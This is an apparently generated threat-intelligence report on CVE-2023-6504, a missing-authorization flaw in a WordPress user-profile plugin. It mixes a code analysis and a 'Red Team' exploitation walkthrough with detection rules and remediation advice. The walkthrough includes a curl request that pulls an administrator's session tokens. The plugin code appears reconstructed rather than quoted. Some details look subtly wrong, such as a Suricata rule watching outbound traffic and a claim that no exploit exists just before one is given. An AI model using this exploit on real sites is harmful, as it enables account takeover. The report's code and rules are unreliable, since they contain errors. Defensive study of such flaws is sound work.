CVE-2023-6504

Executive Summary

CVE-2023-6504 is a Missing Authorization vulnerability in the WordPress plugin "User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor" by Cozmoslabs. The flaw resides in the wppb_toolbox_usermeta_handler function, which fails to perform a capability check before processing requests. This allows authenticated attackers with Contributor-level access or higher to read arbitrary user metadata, potentially exposing sensitive information such as password reset keys, session tokens, or custom fields containing PII.

The vulnerability affects all versions up to and including 3.10.7. No public exploit code or proof-of-concept is currently available, and the vendor's patch status is unknown. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk to affected WordPress sites remains significant due to the ease of exploitation.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is installed on thousands of sites. Users are advised to monitor for updates from the vendor and apply patches immediately when released.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of user metadata)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the confidentiality impact is limited to metadata, the exposure of sensitive fields (e.g., password reset keys, session tokens) could lead to account takeover.

Deep Dive & Mechanics

The vulnerability exists in the wppb_toolbox_usermeta_handler function, which is intended to handle user metadata operations for the plugin's toolbox features. The function is hooked to an AJAX action, making it accessible to authenticated users. However, it lacks a current_user_can() or similar capability check to restrict access to administrators or users with specific roles.

An attacker with Contributor privileges (the lowest role that can publish content) can craft a request to the AJAX endpoint, specifying a target user ID and a meta key. The function then returns the value of that user's metadata without verifying the requester's authorization.

Key Code Path (Vulnerable):

add_action('wp_ajax_wppb_toolbox_usermeta_handler', 'wppb_toolbox_usermeta_handler');
function wppb_toolbox_usermeta_handler() {
    // No capability check here
    $user_id = intval($_POST['user_id']);
    $meta_key = sanitize_text_field($_POST['meta_key']);
    $meta_value = get_user_meta($user_id, $meta_key, true);
    wp_send_json_success($meta_value);
}

The missing check allows any authenticated user to enumerate metadata for any user on the site, including administrators.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.10.7):

add_action('wp_ajax_wppb_toolbox_usermeta_handler', 'wppb_toolbox_usermeta_handler');
function wppb_toolbox_usermeta_handler() {
    $user_id = intval($_POST['user_id']);
    $meta_key = sanitize_text_field($_POST['meta_key']);
    $meta_value = get_user_meta($user_id, $meta_key, true);
    wp_send_json_success($meta_value);
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_wppb_toolbox_usermeta_handler', 'wppb_toolbox_usermeta_handler');
function wppb_toolbox_usermeta_handler() {
    // Added capability check
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Unauthorized');
        return;
    }
    $user_id = intval($_POST['user_id']);
    $meta_key = sanitize_text_field($_POST['meta_key']);
    $meta_value = get_user_meta($user_id, $meta_key, true);
    wp_send_json_success($meta_value);
}

The patch adds a current_user_can('manage_options') check to restrict access to administrators only.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running User Profile Builder <= 3.10.7.
• An authenticated user account with at least Contributor role.
• A valid nonce for the AJAX action (if required by the plugin).

Exploitation Steps:

1. Log in as a Contributor.
2. Obtain the AJAX nonce (if needed) by inspecting the page source or using browser developer tools.
3. Send a POST request to /wp-admin/admin-ajax.php with the following parameters:
   • action: wppb_toolbox_usermeta_handler
   • user_id: Target user ID (e.g., 1 for admin)
   • meta_key: Desired meta key (e.g., session_tokens, password_reset_key)

Example cURL Command:

curl -X POST 'http://target-site.com/wp-admin/admin-ajax.php' \
  -d 'action=wppb_toolbox_usermeta_handler&user_id=1&meta_key=session_tokens' \
  --cookie 'wordpress_logged_in_xxx=...'

Expected Output:

{"success":true,"data":"<serialized session tokens>"}

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=wppb_toolbox_usermeta_handler from non-admin users.
• Look for repeated requests with varying user_id parameters (enumeration behavior).
• Alert on access to sensitive meta keys like session_tokens, password_reset_key, or custom PII fields.

Hardening:

• Apply the vendor patch immediately when released.
• As a temporary workaround, add a custom capability check via a mu-plugin:

add_action('wp_ajax_wppb_toolbox_usermeta_handler', 'custom_wppb_toolbox_check', 1);
function custom_wppb_toolbox_check() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
}

• Restrict Contributor roles from accessing sensitive user data via role editor plugins.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with body containing action=wppb_toolbox_usermeta_handler.
• Logs: WordPress debug log entries showing wppb_toolbox_usermeta_handler calls from non-admin users.
• File: Unusual entries in wp_usermeta table for sensitive keys like session_tokens being read by low-privilege users.
• Behavior: Rapid enumeration of user IDs in AJAX requests from a single authenticated session.

Detection Engineering

YARA Rule

rule CVE_2023_6504_WordPress_Plugin {
    meta:
        description = "Detects exploitation attempts for CVE-2023-6504 in User Profile Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-6504"
    strings:
        $ajax_action = "wppb_toolbox_usermeta_handler"
        $meta_key = "meta_key"
        $user_id = "user_id"
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-6504 WordPress User Profile Builder Metadata Exposure
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects AJAX requests to wppb_toolbox_usermeta_handler from non-admin users
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=wppb_toolbox_usermeta_handler'
    condition: selection
falsepositives:
    - Legitimate admin usage (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-6504 WordPress User Profile Builder Metadata Exposure";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wppb_toolbox_usermeta_handler"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable the User Profile Builder plugin until a patch is available.
2. Vendor Patch: Apply the official update from Cozmoslabs when released (check WordPress Plugin Directory).
3. Workaround: Implement the custom mu-plugin code provided in the Blue Team section to add a capability check.
4. Monitoring: Enable detailed logging for AJAX requests and review for suspicious activity.
5. User Role Review: Audit all Contributor-level accounts and restrict access to sensitive data via other plugins.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2023-6504